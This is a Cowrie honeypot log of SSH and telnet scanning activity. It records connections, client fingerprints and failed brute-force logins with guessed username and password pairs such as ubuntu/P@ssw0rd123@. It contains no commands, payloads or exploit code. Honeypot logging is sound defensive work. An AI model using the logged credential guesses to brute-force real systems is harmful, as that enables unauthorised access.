{"eventid":"cowrie.session.closed","duration":46.255804777145386,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:20:00.667017Z","src_ip":"174.138.46.234","session":"7fabd1cf4804","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":59486,"dst_ip":"10.17.0.5","dst_port":23,"session":"39a302696b9b","protocol":"telnet","message":"New connection: 5.196.58.99:59486 (10.17.0.5:23) [session: 39a302696b9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:20:01.386934Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":59494,"dst_ip":"10.17.0.5","dst_port":23,"session":"35c5cec1819b","protocol":"telnet","message":"New connection: 5.196.58.99:59494 (10.17.0.5:23) [session: 35c5cec1819b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:20:02.076257Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.56.209.38","src_port":54818,"dst_ip":"10.17.0.5","dst_port":22,"session":"1dd20a8c5eaf","protocol":"ssh","message":"New connection: 31.56.209.38:54818 (10.17.0.5:22) [session: 1dd20a8c5eaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:20:08.675938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:20:08.680759Z","src_ip":"31.56.209.38","session":"1dd20a8c5eaf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:20:08.772094Z","src_ip":"31.56.209.38","session":"1dd20a8c5eaf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":42037,"dst_ip":"10.17.0.5","dst_port":22,"session":"398ff6dd5e8a","protocol":"ssh","message":"New connection: 103.248.120.6:42037 (10.17.0.5:22) [session: 398ff6dd5e8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:20:11.685690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:20:11.696028Z","src_ip":"103.248.120.6","session":"398ff6dd5e8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:20:11.919720Z","src_ip":"103.248.120.6","session":"398ff6dd5e8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu1!","message":"login attempt [ubuntu/ubuntu1!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:20:12.840029Z","src_ip":"103.248.120.6","session":"398ff6dd5e8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:20:14.065846Z","src_ip":"103.248.120.6","session":"398ff6dd5e8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.435269355773926,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:20:14.074516Z","src_ip":"5.196.58.99","session":"a6c93b9b2797","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.84526300430298,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:20:16.095842Z","src_ip":"5.196.58.99","session":"b5f35408485e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.41413950920105,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:20:16.143880Z","src_ip":"5.196.58.99","session":"e2bd6cfa800f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:20:16.677378Z","src_ip":"31.56.209.38","session":"1dd20a8c5eaf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":52752,"dst_ip":"10.17.0.5","dst_port":23,"session":"eaa9f7ff64b3","protocol":"telnet","message":"New connection: 5.196.58.99:52752 (10.17.0.5:23) [session: eaa9f7ff64b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:20:19.953131Z"}
{"eventid":"cowrie.session.closed","duration":30.140904664993286,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:20:24.052087Z","src_ip":"5.196.58.99","session":"f44dd032fd34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.236.127.133","src_port":40670,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac091d8435be","protocol":"ssh","message":"New connection: 172.236.127.133:40670 (159.203.135.109:22) [session: ac091d8435be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:20:24.183639Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:20:24.192913Z","src_ip":"172.236.127.133","session":"ac091d8435be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:20:24.195973Z","src_ip":"172.236.127.133","session":"ac091d8435be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.236.127.133","src_port":40676,"dst_ip":"159.203.135.109","dst_port":22,"session":"6eecf22c7808","protocol":"ssh","message":"New connection: 172.236.127.133:40676 (159.203.135.109:22) [session: 6eecf22c7808]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:20:24.240124Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003\\x80M\u0017?-\\x84\\x82\\x97\\xeb\\xda\\xc0\\xbcd\u0016R\\xe3\\xbf\\xf4\\x90\\xc9:\\x8b:\u001e\u0014\\xbe\\x95\\x83\\xbf\\xdcz\u0015\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","message":"Remote SSH version: \u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003\\x80M\u0017?-\\x84\\x82\\x97\\xeb\\xda\\xc0\\xbcd\u0016R\\xe3\\xbf\\xf4\\x90\\xc9:\\x8b:\u001e\u0014\\xbe\\x95\\x83\\xbf\\xdcz\u0015\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:20:24.253006Z","src_ip":"172.236.127.133","session":"6eecf22c7808","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:20:24.258524Z","src_ip":"172.236.127.133","session":"6eecf22c7808","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"155.4.244.179","src_port":57983,"dst_ip":"10.17.0.5","dst_port":22,"session":"30af9a1af416","protocol":"ssh","message":"New connection: 155.4.244.179:57983 (10.17.0.5:22) [session: 30af9a1af416]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:20:28.334781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:20:28.339974Z","src_ip":"155.4.244.179","session":"30af9a1af416","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:20:28.901585Z","src_ip":"155.4.244.179","session":"30af9a1af416","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"qwertytest","message":"login attempt [test/qwertytest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:20:29.311973Z","src_ip":"155.4.244.179","session":"30af9a1af416","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:20:30.924316Z","src_ip":"155.4.244.179","session":"30af9a1af416","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.610451221466064,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:20:32.997247Z","src_ip":"5.196.58.99","session":"39a302696b9b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.230050802230835,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:20:33.306119Z","src_ip":"5.196.58.99","session":"35c5cec1819b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":39212,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f2f02fce310","protocol":"telnet","message":"New connection: 174.138.46.234:39212 (159.203.135.109:23) [session: 6f2f02fce310]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:20:35.477429Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":39812,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd9bcf23dd54","protocol":"telnet","message":"New connection: 174.138.46.234:39812 (159.203.135.109:23) [session: fd9bcf23dd54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:20:37.351535Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":40516,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec7d0730091e","protocol":"telnet","message":"New connection: 174.138.46.234:40516 (159.203.135.109:23) [session: ec7d0730091e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:20:39.664934Z"}
{"eventid":"cowrie.session.closed","duration":53.204357862472534,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:20:39.793186Z","src_ip":"20.123.41.163","session":"14d97e2f0fca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":40364,"dst_ip":"159.203.135.109","dst_port":23,"session":"9829b6d51653","protocol":"telnet","message":"New connection: 174.138.46.234:40364 (159.203.135.109:23) [session: 9829b6d51653]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:20:40.152010Z"}
{"eventid":"cowrie.session.closed","duration":2.968871831893921,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:20:43.120761Z","src_ip":"174.138.46.234","session":"9829b6d51653","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.963135480880737,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:20:43.314466Z","src_ip":"174.138.46.234","session":"fd9bcf23dd54","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.065305471420288,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:20:47.730091Z","src_ip":"174.138.46.234","session":"ec7d0730091e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.56.209.38","src_port":36986,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c417e6e7de9","protocol":"ssh","message":"New connection: 31.56.209.38:36986 (10.17.0.5:22) [session: 1c417e6e7de9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:20:48.278362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:20:48.287297Z","src_ip":"31.56.209.38","session":"1c417e6e7de9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.56.209.38","src_port":36992,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d7588ec564e","protocol":"ssh","message":"New connection: 31.56.209.38:36992 (10.17.0.5:22) [session: 8d7588ec564e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:20:48.822665Z"}
{"eventid":"cowrie.session.closed","duration":30.278307914733887,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:20:50.231296Z","src_ip":"5.196.58.99","session":"eaa9f7ff64b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.143.144.154","src_port":57278,"dst_ip":"159.203.135.109","dst_port":23,"session":"306077faeecf","protocol":"telnet","message":"New connection: 194.143.144.154:57278 (159.203.135.109:23) [session: 306077faeecf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:20:54.538741Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.56.209.38","src_port":46790,"dst_ip":"10.17.0.5","dst_port":22,"session":"95de293d57d5","protocol":"ssh","message":"New connection: 31.56.209.38:46790 (10.17.0.5:22) [session: 95de293d57d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:20:59.791261Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:20:59.875698Z","src_ip":"31.56.209.38","session":"95de293d57d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.410067081451416,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:21:07.948676Z","src_ip":"194.143.144.154","session":"306077faeecf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"179.182.234.94","src_port":45612,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6c743dbc959","protocol":"telnet","message":"New connection: 179.182.234.94:45612 (10.17.0.5:23) [session: e6c743dbc959]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:21:19.471857Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.48.213.208","src_port":35054,"dst_ip":"10.17.0.5","dst_port":22,"session":"9319b97a1fef","protocol":"ssh","message":"New connection: 185.48.213.208:35054 (10.17.0.5:22) [session: 9319b97a1fef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:21:27.046338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:21:27.050913Z","src_ip":"185.48.213.208","session":"9319b97a1fef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:21:27.174985Z","src_ip":"185.48.213.208","session":"9319b97a1fef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd123@","message":"login attempt [ubuntu/P@ssw0rd123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:21:27.688112Z","src_ip":"185.48.213.208","session":"9319b97a1fef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:21:28.813059Z","src_ip":"185.48.213.208","session":"9319b97a1fef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.30750489234924,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:21:30.784816Z","src_ip":"174.138.46.234","session":"6f2f02fce310","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.4.244.179","src_port":37782,"dst_ip":"10.17.0.5","dst_port":22,"session":"25d53579c6b4","protocol":"ssh","message":"New connection: 155.4.244.179:37782 (10.17.0.5:22) [session: 25d53579c6b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:21:30.879263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:21:30.902377Z","src_ip":"155.4.244.179","session":"25d53579c6b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:21:31.003577Z","src_ip":"155.4.244.179","session":"25d53579c6b4","protocol":"ssh"}
